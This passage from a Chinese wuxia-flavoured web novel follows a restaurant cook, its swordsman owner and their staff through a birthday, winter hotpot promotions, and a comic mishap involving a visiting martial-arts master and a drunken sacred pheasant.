“我的花灯做得也好呀,这荷花灯画的样子多好,我这么多年的丹青之道总算是没白费。”杜少仲仰着脑袋洋洋得意道。 “我那彩带撒下来那一刻才叫漂亮呢,东家眼睛都直了。”马陶陶抢着说道,还指了指埋头苦吃的东家。 “千纸鹤好看!” “彩带我的好看!” “你说说你们一点不大气,要我看啊,还是我的荷花灯好看。”几个人瞬间乱做一团争来争去的,吵吵闹闹欢欢喜喜。 “都好看都好看,别吵了我过生辰怎么还吵起来来了呢?”张清寒不得不出来劝架,一群人更是七嘴八舌地说起来没完。 程六水莞尔一笑,这样的日子真好,她似乎没什么可生气的了,不如就这么大方地放过张清寒吧。 她悄悄打了个哈欠,脸垫在自己手上瞌睡了起来,在这嘈杂的声音中十分安心地入眠。 “六水醒醒。”清冷的男声忽远忽近地传来,程六水懵懵地睁开眼睛,大堂早已空无一人,伙计们吵来吵去终于去睡觉了。 “我也要睡觉。”程六水撑着迷迷糊糊的脑袋,晃晃悠悠地朝着后院走去,没走两步就被一股无法抗拒的力气阻拦住了。 她的衣袖被张清寒揪住了,“干嘛?大寿星怎么还不去睡觉?” “我有话对你说。”张清寒目光灼灼地看向程六水。 程六水的意识已经飘向香甜的梦乡,勉强支棱着两个大眼睛道,“我知道,你是不是想说我的面最好吃烟花最好看啊。”说罢还失智般 地傻笑起来。 “是,今晚的烟花是我见过最好看的烟花。六水,我有没有同你说过,其实我们很久很久之前就见过,只不过或许你不记得我了。”张清寒轻声道。 程六水瞬间不困了不累了,连眼皮都不耷拉着了,她无比清醒地看向张清寒,静默了许久才道, “如果我说我很多事已经记不清了,它们在我脑海里非常模糊,你信吗?” “我信。” “可我最近做了一个梦,梦里有你有我的父母,有我丢失的一部分记忆。” “你会因为这些记忆离开酒楼吗?”张清寒眼眸紧缩道。 “记忆里我不再是个厨子,我是会做炸药火器的程门传人,而你是我不曾见过的样子。” “什么样子?” “威风凛凛高不可攀,一点也不可爱。”程六水撇了撇嘴,接着又道, “这里的生活很好,但我的父母失踪了,我找不到他们为什么失踪的记忆,我不确定我什么时候会想起来。” “我从未停止寻找过你的父母,他们对大乾很重要,现在他们对我也很重要。”张清寒眼里有着程六水看不懂的情绪,过于深沉晦涩。 “找到他们之前,留在这里好吗?”张清寒再次问道。 “好。”程六水不假思索道,胸中的大石头终于落了地,她讨厌欺骗讨厌隐瞒,那是一种如影随形的焦灼感,仿佛头顶上的尖锥随时要掉落。 程六水要活得坦坦荡荡清清白白,无论是做厨子还是做炸药。 “那我送你回房。”张清寒心满意足地听到了想要的答案,这才放开六水的衣袖。 他没有说下半句话,找到六水的父母之后会怎么样呢?大概他会提着大包小裹地去拜访,然后死皮赖脸地赖着不走吧。 程六水举起手指晃了晃,“不用了,你今晚回房记得扇自己。”言罢便摇摇晃晃地走回了后院。 “扇自己?”张清寒丈二和尚摸不着头脑,但还是听话地扇了自己一下,还行不疼。 江陵的秋总是不长的,时节渐凉,酒楼生意不知怎的竟如这时节般凉了起来,往常马陶陶招待客人一整天腿都溜细了。 可这最近总是不进人,闲得她都坐到了板凳上放风,而乔四方整日里对着账本长吁短叹,愁得如同热锅上的蚂蚁。 “我出去转了一圈,马上就要入冬了,大家不爱走动是其一。”杜少仲手揣在袖子里,耳朵被风吹得红通通的。 “那还有什么旁的由头吗?”由于表现良好被顺利留用的赵玉雨问道,她与大家混熟了后话多了不少。 “其二就是那城北新开了家酒楼,将我们酒楼开业那套全都学了去,食客们有便宜不占是傻子,自然都去了那酒楼。最关键的是,他那酒楼还请歌姬舞姬,一边大口吃肉喝酒一边听曲,一下子就吸引了不老少人呢。”杜少仲接着咬牙切齿道。 “啧啧啧还唱歌跳舞,男男女女的多不健康。”程六水都从后厨出来,捧着把瓜子开始磕,筐里还有新炒的糖栗子,刚一出锅就被这几人瓜分了大半。 “那倒是也是,可光靠我这字画也吸引不了多少人啊,那些个学子们如今都被圈在书塾了,为来年春闱发奋苦读,自然就来的人更少了。”杜少仲摇了摇头道。 程六水假模假式地摸着下巴上本不存在的胡须,高深莫测道,“他们舞,我们也武,咱不会唱歌跳舞,但咱这有人会耍大刀啊。” 说罢还挤眉弄眼看向费力掰栗子的乔四方和左脚刚刚踏进酒楼门槛的张东家。张清寒就听了这最后一句话,就直觉没啥好事,于是那迈进来的左脚也退了回去。 “躲啥啊?你看看怎么还害羞了,这么大个男的了能不能大大方方的!”程六水颠颠将张清寒又拉进了酒楼。 “你俩说说,你俩都会个什么节目?”四位评委板板正正坐在板凳上,对面是一脸懵的乔四方和生无可恋的张清寒。 “俺没学过那些个花架子,不会什么花里胡哨的剑法,但俺有力气能劈砖头,一次能劈五块不再话下。”乔四方老老实实地回答道。 “不错不错,那这位人帅武功还高的东家呢?”程六水目光转向张清寒。 张清寒面无表情道,“落英飞花剑,桃里一点红剑,两仪太极剑,镜花水月剑,玄冰寒铁剑,破杀混沌剑,踏雪无痕剑,游龙惊鸿剑,流星追月剑……” “好!收!”杜少仲赶忙做出手势就此让张清寒打住,好家伙这是在报菜名呢。 一旁的程六水却拿起纸笔有模有样地写起来了,“哎?刚才玄冰寒铁剑后面是什么来着?” “破杀混沌剑。”张清寒秉承着一定是上辈子欠了这小姑奶奶情债的念头,勉强挤出个笑容道。 “算了不麻烦了,东家你回去写个单子出来,咱匀一匀看能不能,每天上午一场下午一场,先来个一个月不重样。四方就每日午间最忙的时候,来些手劈板砖和胸口碎大石。你看这不就有卖点了吗!”程六水仿佛又看见了一堆又一堆的银子朝自己砸来。 “那这第二点是解决了,第一点怎么整?大冷天别说客人了,我都不愿意动弹。”杜少仲道。 “那就上火锅啊,比如个什么麻辣火锅,羊肉锅子还有猪肚鸡之类的,这个交给我来办。”程六水拍着胸脯保证道。 于是在将将要立冬之际,十全酒楼开始敲锣打鼓了,可谓是锣鼓喧天鞭炮齐鸣红旗招展人山人海啊。 被好生打扮了一番的张清寒,身着墨青短打勾勒出了他极好的比例,手持一把寒光逼人的宝剑,此剑名唤“大雪”,是张清寒的随身佩剑。 只见他一个纵身便跃在空中,那寒剑如流光般一闪而过,剑尖绷直朝着空中刺去,短短几瞬便是行云流水地横劈竖砍,如同在十里桃林间飞快穿梭,脚踩虚空又一次劈向桃树,顿时落英缤纷,剑鸣大作,洋洋洒洒上百式尽显执剑者的剑法精绝。 “好好好!”被吸引来的街坊邻居围在酒楼前,一个劲地鼓掌,顿时场子便热了起来。 此时程六水便走了出来大声道,“各位客官,临近立冬本店推出了暖身十二锅,热气腾腾滋补养身,欢迎各位客官来尝鲜。” “老夫来尝尝,不能白看了张小子这落英飞花剑。”一发丝胡子皆白了的老翁忽而从空中一跃而下,中气十足道。 第25章 椰子鸡 这老翁鹤发童颜,挺着个不小的肚子,腰边别着一酒葫芦,自是一副逍遥洒脱模样。 张清寒听了这从天而降的熟悉声音,从容不迫地收起了佩剑,朝着老翁恭敬地抱拳行礼,“您还是来了。” “怎么这是不待见我这老头子,啧啧啧这是要赶客啊。”那老翁摆明是与张清寒不对付,故意曲解着他的意思,说罢就叉着个腰叫嚣起来。 乡亲们顿时议论纷纷,有说这老翁不讲理的,也有半信半疑真以为是十全酒楼挑食客呢。 “哪能啊,您快里边请,可得好好尝尝我们厨子最新推出的冬日锅子,香得不要不要的。”马陶陶见状,赶紧迎了进去。 那老翁得意洋洋地瞥了瞥张清寒一眼,大摇大摆地就进了酒楼,众乡亲们自然也随大流进去捧场了,尤其是听说六水厨子新做了暖身十二锅,还当真是好奇呢。 “我不听我不听,你这小跑堂讲不明白,我要你们掌柜的来讲,什么叫暖身十二锅。”这老翁好不容易落了座,又鼻子不是鼻子脸不是脸地对着马陶陶好一顿刁难。 “啊啊啊啊啊啊!”马陶陶良好的教养令她没法子当面就开口骂着这老头子,只能对着空气无能狂怒,怒完气哄哄地跑去找张东家去了。 “东家你管管啊,你看看今天客人本来就多,那老头吹毛求疵鸡蛋里挑骨头,一看就不是什么好人。”马陶陶连堂都不跑了,对着张清寒一顿骂骂咧咧。 张清寒没有说话,只是用手指 头比了一个“嘘”,随后拿出张纸来用笔写道,“别骂他,他听得见。” 马陶陶吓得迅速缩成了只鹌鹑,颤颤巍巍举起手开始比划,一会儿捏耳朵一会儿掐脖子的,看得张清寒一愣一愣的。 “……你比划啥呢?”张清寒不解道。 “她说要是你不管,她就去找六水打小报告,到时候你就完了。”乔四方拨楞着算盘珠子道,连眼睛都没抬一下。 张清寒无奈地摇了摇头,只能径直上了楼,去面对这么个难缠的家伙。 “归隐多时不知踪迹的太白散人大驾光临,不知有何贵干?”张清寒立于老翁面前,古井无波道。 老翁压根不看张清寒,只是在那翻菜牌,哎呦呦这个珍珠白玉粥锅子挺有意思,粥还能做锅子了?可这酸菜白肉锅也很合他的胃口,那五花白肉酸爽弹牙得多香啊。 “前辈?” “别吵吵,你说说这椰子鸡锅子是啥?椰子是什么,老夫还闻所未闻。”太白散人捋着一把长长的胡子惊奇道。 “前辈,三年期限已到,您不是来找我比剑的吗?还有心思在这研究锅子?”张清寒也不装了,直接坐在太白散人对面,还给自己倒了杯茶润喉。 这太白散人才反应过来,一拍脑门惊醒了,这怎么还把正事给忘了呢,但他实在是又放不下菜牌上这么多个好吃的,“你别转移话题,你肯定也不知道椰子是啥。” “我知道,而且这椰子由于运输路途遥远,故而每日的椰子鸡皆是限量的,你要是再挑挑拣拣,估计连一锅都不剩了。”张清寒冷笑道。 “那你还在这说什么废话,给我上一个椰子鸡锅,还有菊花暖锅。”太白散人看着菜牌上的连环小画,口水都快流下来了。 他这人活了一大把年纪了,没什么别的爱好就是爱吃,越不让他吃他就越抓心挠肝的。 “你一个人吃一个锅子就行了,岁数大了不消化。”张清寒无差别吐槽道。 “我就要两掺着吃,咋的你个兔崽子有意见?”太白散人内力一震,狮吼功大发吹得这屋里的帘子摇摇欲坠。 “没意见,老兔崽子。”张清寒转身就走了。 太白散人,武林三大宗师之一,神出鬼没脾气古怪,嗜好品鉴美食,这么一位高手与张清寒有着错综复杂的关系。 比如,他小时候饿得没饭吃,是太白散人分了一半白馒头给他;又比如,三年前比剑,他以自创的寒霜剑法险胜这位武林宗师,自此他声名大噪,而两人的梁子也结下了。 太白散人非嚷嚷着什么三年之约,三年之后定要再比试一场,如张清寒能再赢了他,他就给张清寒打杂。 张清寒并不想承认这个约定,但怎奈这老家伙真的按时上门了,他要是输了还好,可要是赢了怎么办?让老家伙打杂?那还不把他这酒楼全砸了。 “六水六水。”程六水听着耳边殷切的呼唤,还有要被拽掉了的袖子,实在是头疼得很。 “没有了真的没有了,最后一份椰子鸡刚被隔壁刘掌柜定了。”程六水道。 “可那里不还有椰子吗?”张清寒软软地说道,指着角落里圆滚滚的椰子道。 “那是明日的呀,商船一次也就能运来半月的量,今日吃了明日就没有了。”程六水解释道,顺便将自己的袖子从那大手里抽走,真是的总拽袖子做什么,多费衣服啊。 张清寒抿起嘴来,嘴角不自觉耷拉了下来,眼睫的阴影在苍白的脸上格外明显,当真是一副楚楚可怜的模样。 “今日让他吃了,他就走了。我们正经做生意的,不能天天伺候这么个江湖人。”张清寒又稍稍撇了撇嘴道。 江湖人?这个江湖人不是你惹来的吗?为什么要偷我的椰子!程六水心中气得很,但一对着这么张脸,又说不出话来。 “行了行了,拿去用吧。”程六水只能败下阵来,真的是对美色没有一丝抵抗力啊。 “嘿嘿小老儿我能吃了吗?”还不等张清寒去拿椰子,这太白散人就自己溜达走进了后厨,全然没拿自己当外人。 “后厨禁地,闲杂人等禁止入内。”程六水正在煮菊花暖锅,将已经在水里洗净的菊花撒进早已吊好的鸡汤里。 这鸡汤可不单单是老母鸡熬煮出来,还要加上那腌制好的火腿片,几粒瑶柱,最后再加上葱姜去腥,晨起就起来熬了,现下正是鸡汤鲜美咸香的好时候。 瓣瓣菊花飘散在鸡汤中,诗情画意清新雅致,深秋做这菊花暖锅最是合节气,菊花清火明目,微苦清香正好中和了鸡汤的油润,但这菊花不可久煮,只稍稍那么一会儿便要捞出,端上桌去客人可按照喜好随时添菊,再涮上嫩鸡肉片鱼片,那吃得是满口清香。 太白散人眼巴巴地瞅着菊花锅,压根挪不动脚步,“小丫头,这菊花锅是我的吗?” “是,等会就给您送到楼上去。”程六水忙碌间点了点头道。 “不用!我在这吃就行,锅边饭啊就是香。”太白散人自己拽了个小板凳就坐下了,乖巧地朝着程六水道。 太白散人活了大半辈子还能看不出来,他能不能吃上一口美食佳肴,都得听这小丫头的,那张小子真是半点用都没有。 “后厨太嘈杂了,怕您在这吃不好。”程六水推脱道。 “不不不,我打眼一看你这小丫头就和你投缘,我一个孤寡老人孤零零地在楼上吃锅子,真是一把老泪纵横啊,我那不肖的徒弟也早就不知跑去哪了。”太白散人竟还伤怀了起来。 益州深山里的赵某人后背冷飕飕的,总感觉有人在骂他,但他找不到证据。 “那您坐这儿吃也行,来给老先生端过去。”程六水终将败于太有良心,只好让张清寒找了个小矮桌摆在后厨。 太白散人眼见端上来的汤锅了,一朵硕大的菊花飘荡其中,鼻翼间的清香竟仿佛将他置身于花枝下园林间。舀一碗清汤咸香香醇,微苦的菊花留有一丝入口的回甘,当真是人暖了心暖了。 “这还有您点的椰子鸡锅。”程六水这才倒出功夫来,又端了锅过来。 太白散人直勾勾地往锅里看去,这怎么还是个空锅呢?他只能疑惑不解地看向程六水。 “您先别急,椰子鸡的锅底我现场为您做。”程六水说罢,便从身后撬开了两个圆咕隆咚的椰青,清爽甘甜的味道扑面而来,咕咚咕咚全部倒入空锅。随后再将椰肉,红枣还有枸杞倒入了椰汁中,不一会儿锅中便翻滚了起来。 “这是可以下肉了不?”太白散人目不转睛地瞧着锅里道。 “正是呢,把这新鲜的鸡块倒进去,焖煮一会儿便成了。再佐以本店特制的蘸料,里面的沙姜青桔还有辣椒也都是从儋州买回来的。”程六水笑道。 “儋州?那这椰子也是儋州来的喽?”太白散人用筷子戳了戳刚刚用完的椰青。 “自然是了,正因儋州离江陵路途远,又只能走商船,所以这椰子鸡锅才要限量。”程六水道。 “不错不错,小老儿我今天也算是长见识了,这菊花暖锅我是在江南吃过的,你做的很得当地精髓,而这椰子鸡却是第一次吃,儋州小老儿我还去过,就凭这道菜我定要去上一去。”太白散人连连点头道。 “那您到时候到了儋州可要再尝尝这椰子鸡,看看我做的是不是也不比儋州的差。”程六水调笑道。 “好,一言为定,到时候啊我给你千里飞书。”太白散人这人虽古怪,却就好交些同好,一起吃吃喝喝岂不美哉。 张清寒刚进后厨来取别桌的菜,就听到了太白散人这话,脑瓜子嗡嗡的,完了这老家伙他们酒楼是甩不脱了。 第26章 秋露白 两个锅子都咕咚咕咚地冒热气,一左一右围着太白散人,一筷子薄如蝉翼的斑鱼片就涮进了菊花暖锅,鱼肉三五瞬便熟透了,蘸上那咸淡正好的清酱,这鱼片的鲜美弹牙一下子就直冲舌尖,吃得太白散人那叫一个满足呀。 一旁椰子鸡里的鸡块也好了,嫩滑自不必说了,这鸡定是选了刚刚长成的走地鸡,不柴不肥,裹满酱汁更是咸香酸辣,与那菊花锅是各有千秋,均是不可多得的好锅子。 不一会儿,除了这俩锅子,小矮桌上又多了许多涮菜,一掐一包水的小青菜,软糯甘甜的土豆还有山上新摘的野菇子。 太白散人涮完这个涮那个,吃完这个吃那个,一圈下来肚子吃得溜圆,连那小板凳都不坐了,瘫坐在地上,痛饮酒葫芦里的美酒。 还真别说张小子搞得这个酒楼有模有 样的,菜好酒也好,后厨那个忙着做饮子的后生方才鬼鬼祟祟地过来,偏要拉着自己品鉴下酒楼新酿出来的酒。 据那后生说,这酒竟然是取秋日晨露做底,再用上头茬最为饱满的高粱酿制而成,酒汤白而不散,烈而不燥,取了个文绉绉的名字“秋露白”。 太白散人一喝便知这是不可多得的好酒,赶紧取下腰间的酒葫芦,满满灌了一葫芦,还偷偷摸摸地怕张小子看见,那小子看见又得去打小报告了。 可惜他低估了这酒的烈性,只以为入口甘甜清冽便多喝了几杯,哪知后劲如此之大,喝着喝着怎么就看东西重影了呢。 眼前两个锅子变成了四个八个,再然后他就什么都不知道了。 “事已至此,咱们把他埋了吧。”程六水双眸微红,虽心有不忍,却也最终还是开口道。 “可要是就这么不明不白地埋了,以后找地方都没处说理去。”马陶陶小声说道。 “都是我的错,我悔啊我不该啊。”杜少仲一边拿着锄头使劲挖土,一边低头认错。 “这是我们三个人的秘密,谁也不能说知道吗?”程六水在这乌漆麻黑的夜里小心叮嘱道。 太白散人听了这话,惊恐地想要张开眼睛,却发现怎么也睁不开,浑身被束缚住动弹不得,想大声呼喊嘴角就一阵撕裂的痛。 “什么意思?这酒楼不会是黑店吧?他们正要埋我?”太白散人心里暗道不好,他这一世英名怎能折在此处,要是传出去他就算就九泉之下,也没脸做人了。 “快点啊,不然等会就被别人发现了。”马陶陶急迫地催促着干苦力的杜少仲,还时不时回头张望着有没有人发现。 而程六水则进了后厨一顿叮咣响,大力地挥动着某物,一下比一下用力。 烛火晃动的影子落在了太白散人的眼皮上,一下子他那眼皮仿佛解了禁制一样,颤颤巍巍地睁了条缝,熟悉的灶台熟悉的香味,这里还是后厨。 难不成他们要把自己埋在酒楼后院里,这胆子也太大了吧。太白散人眼见程六水神情严肃,半点没有白日里开朗之色,心中更是不满没想到他居然被个小丫头骗了,知人知面不知心啊。 太白散人想爬起来质问这个黑心肝的厨子,却一点力气也没有,当真是叫天天不应叫地地不灵,耳边偏还传来了那挖坑人的声音,“好了好了,这坑这么大肯定能埋得下。” 这挖坑人居然是那拉着他品鉴新酒的后生,原来这一切都是串通好的,就是要让自己命丧于此,好周密的谋划好歹毒的心啊!那张小子去哪了,怎么还不来救他,莫不是也被这小丫头给毒晕了。 太白散人心下发苦五味杂陈,到了这节骨眼上他才发觉最想见的就是他那不肖徒弟,可惜了终究是见不了最后一面了。 “你们在做什么?”忽然众人身后传来了寒冰般的声音,张清寒出现了。 张小子快来救我啊我在这里!太白散人发出了无声的嘶吼,宛如最后的绝唱。 “我们……”杜少仲吓得锄头都掉了,一点一点地挪动脚步躲在比他矮一头的程六水后面。 张清寒眉头一皱,冰冷的眼神扫视了后厨一圈,又顺着打开的厨房门看见了后院刚挖好的那个坑,“你们谁能给我解释下,这里为什么会变成了这样?还有老家伙怎么会成了这副鬼样子?” 只见太白散人一双眼没一个好的,一只成了核桃,一只乌漆麻黑,嘴巴更是直接肿成了两根腊肠,脑门还有个大红印子,就这么瘫在地上,身上还有缠得乱糟糟的辣椒串大蒜串。 整个厨房更是乱成一锅粥,南瓜掉在地上摔八瓣,铁锅没在灶台上,反而倒扣在地上,锅底竟然都有点变形了,白菜叶子到处都是,不知道还以为要在厨房养鸡呢。 提到鸡就更是离谱了,那后院有方小菜园,平日里小葱韭菜青菜就不用买了,在这自给自足本是好事,如今却有盆大个坑,坑旁边还有只被五花大绑的鸡,那鸡扑闪着翅膀不肯屈服,桀骜不驯地藐视众人。 “我们可以解释的对吧?”程六水咧开嘴笑得比哭还能看,回头看了看她的两个同伙。 两个同伙一个望天道,“今晚的太阳真圆啊。”一个盯着地道,“这地就是好看。” 程六水笑了,她两只手拎起了这俩人的后脖颈,气鼓鼓地拖着他们走到张清寒面前,深吸一口气道, “首先,老前辈的眼睛一只是被铁锅砸的,另外一只是被鸡屁股坐的。”程六水刚说了个开头。 那张清寒的脑袋就莫名地开始疼了起来,他忽然并不想听后面的解释了,不如把他埋进土坑里吧。 “嘴巴也是这鸡给啄的,头上的红印是老前辈自己睡半路起来,非要和鸡比赛谁飞得高,一下子就撞到房梁上,一只脚正巧埋进了大蒜串里,大蒜串连着十几串辣椒串,就全缠在老前辈身上了。”程六水不给张清寒拒绝的机会,一股脑全说了出来。 张清寒这回不止头疼了,站都直打晃啊,他紧闭双眼平复了几下心绪才道,“那请问各位,这只鸡是哪来的?” 马陶陶憋着嘴缓慢地举起手来,“傍晚的时候,我在门口迎客,就在河边看见了这只鸡,我还没见过这么五彩斑斓的鸡呢,就想领回来给六水瞧瞧。” “五彩斑斓的鸡?”张清寒定睛再一看那绑着的鸡,好家伙那是什么普通的鸡啊,明明是江湖八大门派之一雪窦派的圣物——红锦鸡。 这红锦鸡冠顶明黄腹背朱红羽翼生绿,性子最为温顺,雪窦派只有被极为看重的弟子才能得此圣物,定要如珍似宝待之。 张清寒摇了摇头,这把太白散人伤成这样,已经够复杂的了,怎么还要加上雪窦派,“这红锦鸡怎会无缘无故啄太白散人的嘴?” 这回轮到杜少仲站了出来,“我最近酿了新酒名叫秋露白,白日里特意给老前辈品鉴一二,老前辈那可是连连称赞啊,还让我给他灌了一葫芦酒。后来这葫芦里的酒不知怎的就洒在地上,那鸡就喝了去。” “是老家伙喂给这鸡的?”张清寒现下已然被气笑了。 “不是不是,鸡没来之前,老前辈就醉倒了。”杜少仲腆着脸接着解释道。 “我听明白了,所以是陶陶和少仲搞成这个样子的,那六水你怎么也在这掺和?”张清寒问道。 程六水很不好意思道,“我这不是想逮醉鸡嘛,我就拿大铁锅去套鸡,一不下心踩到了南瓜滑了一跤,铁锅哎正好就砸到老前辈的眼睛上了。” “好好好,这烂摊子我是收拾不了了,你们就当我没来过没问过,你们仨该干啥干啥吧。”张清寒这下跑得比兔子都快。 “不行不行,我们还没开始埋呢,少仲累得直喘,我们需要苦力!”程六水赶紧拽住了逃跑的张清寒,哀求道。 “埋?你们要埋什么呀?是埋鸡还是埋人啊?”张清寒很不幸地被这么一拽,脚踩南瓜皮差点就摔了个狗吃屎,他气急败坏道。 “当然是埋鸡了,这鸡发了狂,我们根本整不过它,只能毁尸灭迹了。”马陶陶理所当然道。 听到这太白散人总算是松了一口气,还好不是埋他,埋鸡就埋吧。 “不许埋,这鸡是有主的,你们给它关笼子里,还有赶紧请个郎中来给老家伙瞧瞧!”张清寒招呼着前厅还在理账的乔四方来抬人,收拾碗筷的赵玉雨则赶忙连夜去请郎中。 其余三人乖得跟鹌鹑一样,低着头老老实实挨训。 所幸后院里还有间空房,太白散人躺在榻上一动不动,要不是有呼吸张清寒都以为他要成为六白山千古罪人了。 无奈之下,他只能拿来纸笔,迅速写下了一封飞鸽传书,让那信鸽翻越崇山峻岭去寻人来。 而深山中的赵某人收到信,急得浑身发抖,他肩扛着一把弯月大砍刀,抛下万家帮的一切事务,连夜骑马赶往江陵。 【作者有话说】 霹雳火弹债主正在快马赶来[狗头] 第27章 马蹄香菇蒸肉饼 “好好好!再来一个!”食客们的拍掌叫喊声不断,一个个桌子上摆着的是烧得滚烫的小铜锅,眼前看的是精彩绝伦的胸口碎大石。 男子生得极高,足足 七尺多,大块头壮得很,远看就是座小山包,他轻松地拿起两块厚厚石板,石板应声落地砸碎了面前的瓷碗,十成十硬石板做不了假的。 他这才躺在长凳上,将那石板放在自己胸口上,眼神坚定地看向杜少仲,“来吧!” 杜少仲一介文弱书生,前几日刚挥完锄头,累得胳膊都抬不起来,如今又要来挥大锤了,只能硬着头皮上。 “哐当”一下,震得坐在前排的小女郎们不禁用丝帕捂住了耳朵,想看又不敢看的,透过指缝悄摸摸地看个大概。 乔四方整个人绷紧得很,他倒是没学过什么金钟罩铁布衫,只不过是此时全身内力运转着,真气外泄将那石板微微抬了些许距离,一锤又一锤锤得不是他,而是他身上的真气。 终于三声大锤了结了他胸口上的厚石板,乔四方扶着累得喘个不停的杜少仲,没事儿人一样挥舞着手臂,迎接着大家的喝彩。 十全酒楼这几日的花样实在是太多了,甭说是大堂已然坐满了食客,就是酒楼门外也围得里三层外三层,人挤人都能将鞋挤掉了。 一男子行色匆匆穿过江陵城,一把弯月砍刀丝毫不加掩饰地挎于腰间,万家帮的生意早就做到了货泉商帮那了,货泉商帮那是什么角色? 手眼通天直达天庭的皇商,自然对于合作伙伴总有些优待,比如他赵灵元即使在闹市中挎刀也不必受官府层层盘问,可谓是如过无人之境啊。 一路畅通无阻地就来到了十全酒楼前,赵灵元离两条街时就听见了此起彼伏的叫好声,不曾想居然是他师弟酒楼的动静,他只得下了马凑近想进门,怎奈他压根扒不开人群,被挤来挤去直接挤到最边边角角的位置上了。 “师弟!让我进去……”好歹也算是江湖上有名有姓的人物,赵灵元却觉着自己怕是命不久矣,很快就要被挤死或踩死了。 而他的好师弟张清寒,压根听不到这大声的呼救,他正在酒楼后院焦头烂额地收拾残局。 后院最左边的房间里,威震江湖的三大宗师之一,太白散人就躺在此处。六七十岁的老头头戴一鲜红发带,研磨好的药粉敷在额头上,散发出阵阵清苦的味道。 红肿的眼睛已经消得差不多了,只不过还是得拿鸡蛋揉揉,将那淤血揉开才好,最要命的便是那腊肠嘴,如今只能张开个小缝,吃喝费点劲但也能吃,只不过说话含含糊糊的听不太清。 太白散人仍是一动不动地躺在床榻上,明明晨起还吃了三碗豆腐脑五根油条,用那漏风的嘴和那程六水说得那叫一个起劲啊,现下对着张清寒又摆出了这么副死样子。 “郎中说你这伤不出三日就能好利索了,我叫了灵元师兄来接你。”张清寒在坐在屋内说道。 太白散人一个白眼翻了过去,当做根本没听见,还蹬了个腿给自己盖上了被子,他可是个知冷知热的人。 “别以为我不知道你在想什么,甭想赖在这里不走。”张清寒继续说道。 “散粘只越。”太白散人没好气地说了句话。 “三年之期已过,你受伤我弃权,如此便算个平局吧,你我就此作罢。”张清寒道。 “偶不同意。”太白散人气得坐起来道,虽然自己现在一身的伤,但他宽宏大量地不与这些个小辈计较,毕竟他们也不是故意的嘛。 而且六水那丫头做的病号饭是真香啊,他吃了一辈子也不得不承认这丫头有一手,她干脆别叫程六水了,叫程一手得了。就算是为了病号饭,他也得在这多待些时日,绝对不能被他的倒霉徒弟接走。 要不他就带着他那徒弟留在这一同蹭饭,他徒弟一表人才,胳膊是胳膊腿是腿的,六水见了肯定喜欢,她一喜欢自己还能缺吃的吗? 张清寒眼见太白散人方才还一脸的不愿意,怎么一转眼就变脸了,笑得如此诡异,令他背后凉飕飕的。 “前辈,今日的午饭来喽。”程六水推开门,端了满满当当的饭菜过来。 “由什么?由什么?”太白散人也不装了,颠颠地跑下床榻,满嘴漏风道。 “您这嘴还没好全,我便遵了郎中的嘱托,发物之类的一概不做的,今日有香菇马蹄肉饼,秋白菜粉条,还有一碗鸡蛋羹,都是些软烂之物,最适合您现在的病情了。”程六水说着便将这些菜一样一样端到桌子上。 太白散人左右摆动脑袋目不转睛看着,那口水都快流下来了,“砍着就好次。” 他如今的嘴皮子还有些痛,只能小口吃却一点没耽误这家伙吃饭的速度,那香菇马蹄肉饼鲜嫩多汁,切得碎碎的香菇和马蹄同腌制好的肉馅搅和在一起,上锅蒸熟撒上葱花,那是好看又好吃。 肉饼软烂一戳就开,肉香四溢,其中还有几分马蹄的清甜和香菇的鲜味,唇齿间一抿就化开了,再配上碗粒粒分明的大米饭,一口肉饼一口米饭,简直是无上美味。 而秋白菜粉条更是直击太白散人的心尖,六白山位于北境内,一年里有四五个月都冷得能冻掉眉毛,白菜便是最好的食材,有些菜总是吃便觉得稀松平常,可若是在外久久不吃,哪怕是食尽山珍海味,也还是想着那一口。 更何况程六水这道菜做得简单还地道,几片五花肉煸炒几下,借其荤气后直接将那大白菜下锅大火翻炒,冷冰冰硬邦邦的大白菜没几下就软了心,这时便加些清酱盐巴即可。 咕嘟咕嘟着,开盖放些粉条豆腐,那粉条浸满了汤汁,水灵灵甜滋滋的白菜清香吃了一口就停不下来了。 最后这鸡蛋羹自是不必多说,蒸得火候恰到好处,浇上些香油用来拌饭实在是太妥帖了。 程六水做得菜码子大,三盘菜一碗饭就占了大半张桌子,张清寒看这老家伙吃得狼吞虎咽的,他也馋得要命,秋白菜粉条他也想吃许久了,没想到竟让这老家伙抢了先。 张清寒偷偷摸摸拿了双筷子,又悄无声息地夹了一口粉条,“啪嗒”太白散人眼疾手快直接将这双邪恶的筷子打掉了。 “你老匹夫!”张清寒立着眼睛道。 “偶的偶的都是偶的!”太白散人不甘示弱道。 “你们别吵了,要是不够吃我晚上再做……”还不等程六水说完,就见房门再次被推开。 这次进来的人着实令所有人都惊得掉了下巴,一表人才的万家帮帮主,高高束起的发髻被扯得一溜一溜的,散落的头发垂得到处都是,身上棉绸做的长袍竟然被撕了好几个口子,可怜兮兮地裂开了,全身上下就那一把弯月砍刀算得上齐整。 “师兄你被打劫了?”张清寒打破久久的震惊道。 “偶不走偶病还没好偶要待在这里。”太白散人嘴角还有秋白菜呢,就在这大声叫嚣着。 程六水什么都没说,因为她的脑子当场宕机了,师兄?什么意思?那个捉她去还债,不还就要扔去喂狼的帮主是张清寒的师兄? 她隐约还记得张清寒说过,太白散人的徒弟这几天会来接他,那这个破破烂烂的帮主是太白散人的徒弟?是张清寒的师兄?那张清寒和太白散人压根就不是什么对峙决战的敌手,而是同门中人。 如此混乱的关系在程六水的脑袋里逐渐清晰,于是她开始思考真正至关重要的事情,比如真的会杀人的债主上门了怎么办? “吃了吗?要一起吃点吗?”程六水想了一圈也没想明白后,脱口而出道。 “没吃,你???”赵灵元瞳孔不断震颤,谁能告诉他,这个骗取他信任的程门传人为什么在这? 程六水一个滑步便躲在了太白散人和张清寒身后,可怜巴巴地从两人中间钻出个头来道“好久不见大侠。” “你还敢和我说好久不见?我下面的人找你找得都魔怔了!”赵灵元挥舞着他两只破破烂烂的袖子,濒临崩溃道。 快马疾驰几日几夜而来,就怕赶不上师父的最后一面,风 餐露宿这些时日还要在酒楼门口被扯得破破烂烂,没想到师父没什么事,居然还在这儿碰到了骗子,这位帮主大人都要气笑了。 “我留了信的,我要是想起来怎么做霹雳火弹,我就去找你了,我这不是没想起来了嘛,不对是想起来了一点点。”程六水心虚道,说罢还凑得离张清寒更近了些。 “师兄莫急,有什么事慢慢说,要不坐下来先吃饭吧,六水再去做几个菜来。”张清寒一个劲地挤眉弄眼道。 “是是是。”程六水这回比谁都话少,麻溜就跑走了,独留六白山三人组在屋内。 